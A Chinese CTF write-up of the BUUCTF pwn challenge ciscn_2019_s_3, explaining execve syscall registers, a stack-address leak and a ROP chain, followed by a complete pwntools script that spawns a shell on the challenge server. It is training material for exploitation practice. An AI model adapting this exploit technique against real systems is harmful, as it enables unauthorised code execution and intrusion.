[BUUCTF-pwn]——ciscn_2019_s_3

[BUUCTF-pwn]——ciscn_2019_s_3

peak 小知识

写这道题之前, 大家首先要了解, 想要获得一个shell, 除了system("/bin/sh") 以外, 还有一种更好的方法, 就是系统调用中的 execve("/bin/sh", NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用, 其中32位程序系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存。 可以用 int 80 汇编指令调用。64位程序系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存。 可以用 syscall 汇编指令调用。

首先checksec一下,还是老样子只开了NX保护,不过是64位。
在这里插入图片描述
在IDA 中,发现了系统调用。
在这里插入图片描述
在这里插入图片描述
进入汇编看看
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
ROPgadget找找可能用到的汇编指令

思路

该题是64位程序, execve的系统调用号为0x3b也就是59 。可以发现该程序有两个系统调用第一个 sys_read和第二个sys_write,其实和read函数和write函数用法相同。观察vuln函数的汇编指令,我们可以看到,它没有lea指令,也就是说,执行完毕后它的栈不会清空,我们可以将'/bin/sh'字符串写入buf,计算出buf的地址(rbp - 0x10)就可以在循环调用的时候再次利用。
注意:vuln中没有leave指令,也就是说ebp就是它的返回地址
下面我们要给rax赋值0x3b,将buf的地址,储存到rdi寄存器中,给rsi、rdx寄存器中储存0。我们找到对应的汇编指令组成rop链就好,重点的、需要用到的汇编指令都圈出来了。计算距离的话在pwndbg上面计算就好。

exploit

from pwn import *
p = remote("node3.buuoj.cn",26201)
context.log_level = 'debug'
main_addr=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15_ret=0x40059A
mov_rdxr13_call=0x0400580 
syscall=0x00400517
binsh = '/bin/sh\x00'
payload = binsh.ljust(0x10, 'a') + p64(main_addr)

p.sendline(payload)
p.recv(0x20)
binsh_addr = u64(p.recv(8))-280
print(hex(binsh_addr))

payload = binsh.ljust(0x10, 'a') + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0) + p64(0) + p64(binsh_addr+0x50) + p64(0)*2 + p64(1)
payload += p64(mov_rdxr13_call) + p64(execv)
payload += p64(pop_rdi) + p64(binsh_addr) + p64(syscall)
p.sendline(payload)

p.interactive()

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值